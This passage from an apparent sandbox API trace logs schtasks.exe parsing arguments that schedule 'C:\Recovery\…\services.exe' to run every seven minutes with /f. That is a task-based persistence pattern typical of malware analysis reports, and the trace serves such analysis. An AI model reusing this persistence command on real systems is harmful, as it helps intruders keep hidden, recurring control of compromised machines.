_BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|end|") returned 5 [0059.487] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.487] lstrlenW (lpString="|end|") returned 5 [0059.487] lstrlenW (lpString="|sc|") returned 4 [0059.487] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0059.487] SetLastError (dwErrCode=0x490) [0059.487] lstrlenW (lpString="showsid") returned 7 [0059.487] lstrlenW (lpString="showsid") returned 7 [0059.487] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.487] lstrlenW (lpString="sc") returned 2 [0059.487] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.487] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|showsid|") returned 9 [0059.487] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|sc|") returned 4 [0059.488] lstrlenW (lpString="|showsid|") returned 9 [0059.488] lstrlenW (lpString="|sc|") returned 4 [0059.488] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0059.488] SetLastError (dwErrCode=0x490) [0059.488] SetLastError (dwErrCode=0x490) [0059.488] SetLastError (dwErrCode=0x0) [0059.488] lstrlenW (lpString="/sc") returned 3 [0059.488] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0059.488] SetLastError (dwErrCode=0x490) [0059.488] SetLastError (dwErrCode=0x0) [0059.488] lstrlenW (lpString="/sc") returned 3 [0059.488] GetProcessHeap () returned 0x1b0000 [0059.488] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc3e0 [0059.488] GetProcessHeap () returned 0x1b0000 [0059.488] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccdc0 [0059.488] SetLastError (dwErrCode=0x0) [0059.488] SetLastError (dwErrCode=0x0) [0059.488] lstrlenW (lpString="MINUTE") returned 6 [0059.488] lstrlenW (lpString="-/") returned 2 [0059.488] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0059.488] SetLastError (dwErrCode=0x490) [0059.488] SetLastError (dwErrCode=0x490) [0059.488] SetLastError (dwErrCode=0x0) [0059.488] lstrlenW (lpString="MINUTE") returned 6 [0059.488] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0059.488] SetLastError (dwErrCode=0x490) [0059.488] SetLastError (dwErrCode=0x0) [0059.488] lstrlenW (lpString="MINUTE") returned 6 [0059.488] GetProcessHeap () returned 0x1b0000 [0059.489] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cc400 [0059.489] GetProcessHeap () returned 0x1b0000 [0059.489] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccdf0 [0059.489] SetLastError (dwErrCode=0x0) [0059.489] SetLastError (dwErrCode=0x0) [0059.489] lstrlenW (lpString="/mo") returned 3 [0059.489] lstrlenW (lpString="-/") returned 2 [0059.489] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.489] lstrlenW (lpString="?") returned 1 [0059.489] lstrlenW (lpString="?") returned 1 [0059.489] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.489] lstrlenW (lpString="mo") returned 2 [0059.489] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.489] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|?|") returned 3 [0059.489] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.489] lstrlenW (lpString="|?|") returned 3 [0059.489] lstrlenW (lpString="|mo|") returned 4 [0059.489] SetLastError (dwErrCode=0x490) [0059.489] lstrlenW (lpString="create") returned 6 [0059.489] lstrlenW (lpString="create") returned 6 [0059.489] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.489] lstrlenW (lpString="mo") returned 2 [0059.489] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.489] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.489] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.490] lstrlenW (lpString="|create|") returned 8 [0059.490] lstrlenW (lpString="|mo|") returned 4 [0059.490] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0059.490] SetLastError (dwErrCode=0x490) [0059.490] lstrlenW (lpString="delete") returned 6 [0059.490] lstrlenW (lpString="delete") returned 6 [0059.490] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.490] lstrlenW (lpString="mo") returned 2 [0059.490] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.490] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|delete|") returned 8 [0059.490] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.490] lstrlenW (lpString="|delete|") returned 8 [0059.490] lstrlenW (lpString="|mo|") returned 4 [0059.490] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0059.490] SetLastError (dwErrCode=0x490) [0059.490] lstrlenW (lpString="query") returned 5 [0059.490] lstrlenW (lpString="query") returned 5 [0059.490] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.490] lstrlenW (lpString="mo") returned 2 [0059.490] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.490] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|query|") returned 7 [0059.490] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.490] lstrlenW (lpString="|query|") returned 7 [0059.492] lstrlenW (lpString="|mo|") returned 4 [0059.492] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0059.492] SetLastError (dwErrCode=0x490) [0059.492] lstrlenW (lpString="change") returned 6 [0059.492] lstrlenW (lpString="change") returned 6 [0059.492] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.492] lstrlenW (lpString="mo") returned 2 [0059.492] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.492] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|change|") returned 8 [0059.492] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.492] lstrlenW (lpString="|change|") returned 8 [0059.492] lstrlenW (lpString="|mo|") returned 4 [0059.492] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0059.492] SetLastError (dwErrCode=0x490) [0059.492] lstrlenW (lpString="run") returned 3 [0059.492] lstrlenW (lpString="run") returned 3 [0059.492] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.493] lstrlenW (lpString="mo") returned 2 [0059.493] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.493] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|run|") returned 5 [0059.493] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.493] lstrlenW (lpString="|run|") returned 5 [0059.493] lstrlenW (lpString="|mo|") returned 4 [0059.493] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0059.493] SetLastError (dwErrCode=0x490) [0059.493] lstrlenW (lpString="end") returned 3 [0059.493] lstrlenW (lpString="end") returned 3 [0059.493] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.493] lstrlenW (lpString="mo") returned 2 [0059.493] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.493] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|end|") returned 5 [0059.493] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.493] lstrlenW (lpString="|end|") returned 5 [0059.493] lstrlenW (lpString="|mo|") returned 4 [0059.493] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0059.493] SetLastError (dwErrCode=0x490) [0059.493] lstrlenW (lpString="showsid") returned 7 [0059.493] lstrlenW (lpString="showsid") returned 7 [0059.493] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.493] lstrlenW (lpString="mo") returned 2 [0059.493] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.493] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|showsid|") returned 9 [0059.494] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|mo|") returned 4 [0059.494] lstrlenW (lpString="|showsid|") returned 9 [0059.494] lstrlenW (lpString="|mo|") returned 4 [0059.494] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0059.494] SetLastError (dwErrCode=0x490) [0059.494] SetLastError (dwErrCode=0x490) [0059.494] SetLastError (dwErrCode=0x0) [0059.494] lstrlenW (lpString="/mo") returned 3 [0059.494] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0059.494] SetLastError (dwErrCode=0x490) [0059.494] SetLastError (dwErrCode=0x0) [0059.494] lstrlenW (lpString="/mo") returned 3 [0059.494] GetProcessHeap () returned 0x1b0000 [0059.494] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc420 [0059.494] GetProcessHeap () returned 0x1b0000 [0059.494] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce20 [0059.494] SetLastError (dwErrCode=0x0) [0059.494] SetLastError (dwErrCode=0x0) [0059.494] lstrlenW (lpString="7") returned 1 [0059.494] SetLastError (dwErrCode=0x490) [0059.494] SetLastError (dwErrCode=0x0) [0059.494] lstrlenW (lpString="7") returned 1 [0059.494] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0059.494] SetLastError (dwErrCode=0x490) [0059.494] SetLastError (dwErrCode=0x0) [0059.494] lstrlenW (lpString="7") returned 1 [0059.494] GetProcessHeap () returned 0x1b0000 [0059.494] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x4) returned 0x1cc440 [0059.495] GetProcessHeap () returned 0x1b0000 [0059.495] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce50 [0059.495] SetLastError (dwErrCode=0x0) [0059.495] SetLastError (dwErrCode=0x0) [0059.495] lstrlenW (lpString="/tr") returned 3 [0059.495] lstrlenW (lpString="-/") returned 2 [0059.495] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.495] lstrlenW (lpString="?") returned 1 [0059.495] lstrlenW (lpString="?") returned 1 [0059.495] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.495] lstrlenW (lpString="tr") returned 2 [0059.495] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.495] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|?|") returned 3 [0059.495] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.495] lstrlenW (lpString="|?|") returned 3 [0059.495] lstrlenW (lpString="|tr|") returned 4 [0059.495] SetLastError (dwErrCode=0x490) [0059.495] lstrlenW (lpString="create") returned 6 [0059.495] lstrlenW (lpString="create") returned 6 [0059.495] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.495] lstrlenW (lpString="tr") returned 2 [0059.495] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.495] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.495] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.495] lstrlenW (lpString="|create|") returned 8 [0059.496] lstrlenW (lpString="|tr|") returned 4 [0059.496] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0059.496] SetLastError (dwErrCode=0x490) [0059.496] lstrlenW (lpString="delete") returned 6 [0059.496] lstrlenW (lpString="delete") returned 6 [0059.496] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.496] lstrlenW (lpString="tr") returned 2 [0059.496] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.496] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|delete|") returned 8 [0059.496] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.496] lstrlenW (lpString="|delete|") returned 8 [0059.496] lstrlenW (lpString="|tr|") returned 4 [0059.496] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0059.496] SetLastError (dwErrCode=0x490) [0059.496] lstrlenW (lpString="query") returned 5 [0059.496] lstrlenW (lpString="query") returned 5 [0059.496] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.496] lstrlenW (lpString="tr") returned 2 [0059.496] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.496] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|query|") returned 7 [0059.496] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.496] lstrlenW (lpString="|query|") returned 7 [0059.496] lstrlenW (lpString="|tr|") returned 4 [0059.496] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0059.496] SetLastError (dwErrCode=0x490) [0059.497] lstrlenW (lpString="change") returned 6 [0059.497] lstrlenW (lpString="change") returned 6 [0059.497] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.497] lstrlenW (lpString="tr") returned 2 [0059.497] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.497] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|change|") returned 8 [0059.497] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.497] lstrlenW (lpString="|change|") returned 8 [0059.497] lstrlenW (lpString="|tr|") returned 4 [0059.497] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0059.497] SetLastError (dwErrCode=0x490) [0059.497] lstrlenW (lpString="run") returned 3 [0059.497] lstrlenW (lpString="run") returned 3 [0059.497] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.497] lstrlenW (lpString="tr") returned 2 [0059.497] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.497] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|run|") returned 5 [0059.497] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.497] lstrlenW (lpString="|run|") returned 5 [0059.497] lstrlenW (lpString="|tr|") returned 4 [0059.497] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0059.497] SetLastError (dwErrCode=0x490) [0059.497] lstrlenW (lpString="end") returned 3 [0059.497] lstrlenW (lpString="end") returned 3 [0059.498] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.498] lstrlenW (lpString="tr") returned 2 [0059.498] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.498] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|end|") returned 5 [0059.498] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.498] lstrlenW (lpString="|end|") returned 5 [0059.498] lstrlenW (lpString="|tr|") returned 4 [0059.498] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0059.498] SetLastError (dwErrCode=0x490) [0059.498] lstrlenW (lpString="showsid") returned 7 [0059.498] lstrlenW (lpString="showsid") returned 7 [0059.498] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.498] lstrlenW (lpString="tr") returned 2 [0059.498] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.498] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|showsid|") returned 9 [0059.498] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|tr|") returned 4 [0059.498] lstrlenW (lpString="|showsid|") returned 9 [0059.498] lstrlenW (lpString="|tr|") returned 4 [0059.498] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0059.498] SetLastError (dwErrCode=0x490) [0059.498] SetLastError (dwErrCode=0x490) [0059.498] SetLastError (dwErrCode=0x0) [0059.498] lstrlenW (lpString="/tr") returned 3 [0059.498] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0059.499] SetLastError (dwErrCode=0x490) [0059.499] SetLastError (dwErrCode=0x0) [0059.499] lstrlenW (lpString="/tr") returned 3 [0059.499] GetProcessHeap () returned 0x1b0000 [0059.499] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc460 [0059.499] GetProcessHeap () returned 0x1b0000 [0059.499] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce80 [0059.499] SetLastError (dwErrCode=0x0) [0059.499] SetLastError (dwErrCode=0x0) [0059.499] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.499] lstrlenW (lpString="-/") returned 2 [0059.499] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0059.499] SetLastError (dwErrCode=0x490) [0059.499] SetLastError (dwErrCode=0x490) [0059.499] SetLastError (dwErrCode=0x0) [0059.499] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.499] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0059.499] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.499] GetProcessHeap () returned 0x1b0000 [0059.499] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc480 [0059.499] _memicmp (_Buf1=0x1cc480, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.499] GetProcessHeap () returned 0x1b0000 [0059.499] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cc4a0 [0059.500] GetProcessHeap () returned 0x1b0000 [0059.500] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cd650 [0059.500] _memicmp (_Buf1=0x1cd650, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.500] GetProcessHeap () returned 0x1b0000 [0059.500] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x82) returned 0x1cde20 [0059.500] SetLastError (dwErrCode=0x7a) [0059.500] SetLastError (dwErrCode=0x0) [0059.500] SetLastError (dwErrCode=0x0) [0059.500] lstrlenW (lpString="'C") returned 2 [0059.500] lstrlenW (lpString="-/") returned 2 [0059.500] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0059.500] SetLastError (dwErrCode=0x490) [0059.500] SetLastError (dwErrCode=0x490) [0059.500] SetLastError (dwErrCode=0x0) [0059.500] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.500] GetProcessHeap () returned 0x1b0000 [0059.500] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x80) returned 0x1cdeb0 [0059.500] GetProcessHeap () returned 0x1b0000 [0059.500] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cceb0 [0059.500] SetLastError (dwErrCode=0x0) [0059.500] SetLastError (dwErrCode=0x0) [0059.500] lstrlenW (lpString="/f") returned 2 [0059.500] lstrlenW (lpString="-/") returned 2 [0059.500] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.500] lstrlenW (lpString="?") returned 1 [0059.500] lstrlenW (lpString="?") returned 1 [0059.500] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.501] lstrlenW (lpString="f") returned 1 [0059.501] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.501] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|?|") returned 3 [0059.501] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.501] lstrlenW (lpString="|?|") returned 3 [0059.501] lstrlenW (lpString="|f|") returned 3 [0059.501] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0059.501] SetLastError (dwErrCode=0x490) [0059.501] lstrlenW (lpString="create") returned 6 [0059.501] lstrlenW (lpString="create") returned 6 [0059.501] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.501] lstrlenW (lpString="f") returned 1 [0059.501] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.501] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|create|") returned 8 [0059.501] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.501] lstrlenW (lpString="|create|") returned 8 [0059.501] lstrlenW (lpString="|f|") returned 3 [0059.501] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0059.501] SetLastError (dwErrCode=0x490) [0059.501] lstrlenW (lpString="delete") returned 6 [0059.501] lstrlenW (lpString="delete") returned 6 [0059.501] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.501] lstrlenW (lpString="f") returned 1 [0059.502] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.502] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|delete|") returned 8 [0059.502] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.502] lstrlenW (lpString="|delete|") returned 8 [0059.502] lstrlenW (lpString="|f|") returned 3 [0059.502] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0059.502] SetLastError (dwErrCode=0x490) [0059.502] lstrlenW (lpString="query") returned 5 [0059.502] lstrlenW (lpString="query") returned 5 [0059.502] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.502] lstrlenW (lpString="f") returned 1 [0059.502] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.502] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|query|") returned 7 [0059.502] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.502] lstrlenW (lpString="|query|") returned 7 [0059.502] lstrlenW (lpString="|f|") returned 3 [0059.502] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0059.502] SetLastError (dwErrCode=0x490) [0059.502] lstrlenW (lpString="change") returned 6 [0059.502] lstrlenW (lpString="change") returned 6 [0059.502] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.502] lstrlenW (lpString="f") returned 1 [0059.502] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.503] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|change|") returned 8 [0059.503] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.503] lstrlenW (lpString="|change|") returned 8 [0059.503] lstrlenW (lpString="|f|") returned 3 [0059.503] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0059.503] SetLastError (dwErrCode=0x490) [0059.503] lstrlenW (lpString="run") returned 3 [0059.503] lstrlenW (lpString="run") returned 3 [0059.503] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.503] lstrlenW (lpString="f") returned 1 [0059.503] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.503] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|run|") returned 5 [0059.503] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.503] lstrlenW (lpString="|run|") returned 5 [0059.503] lstrlenW (lpString="|f|") returned 3 [0059.503] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0059.503] SetLastError (dwErrCode=0x490) [0059.503] lstrlenW (lpString="end") returned 3 [0059.503] lstrlenW (lpString="end") returned 3 [0059.503] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.503] lstrlenW (lpString="f") returned 1 [0059.503] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.503] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|end|") returned 5 [0059.503] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f1d8 | out: _Buffer="|f|") returned 3 [0059.504] lstrlenW (lpString="|end|") returned 5 [0059.504] lstrlenW (lpString="|f|") returned 3 [0059.504] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0059.504] SetLastError (dwErrCode=0x490) [0059.504] lstrlenW (lpString="showsid") returned 7 [0059.504] lstrlenW (lpString="showsid") returned 7 [0059.504] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, 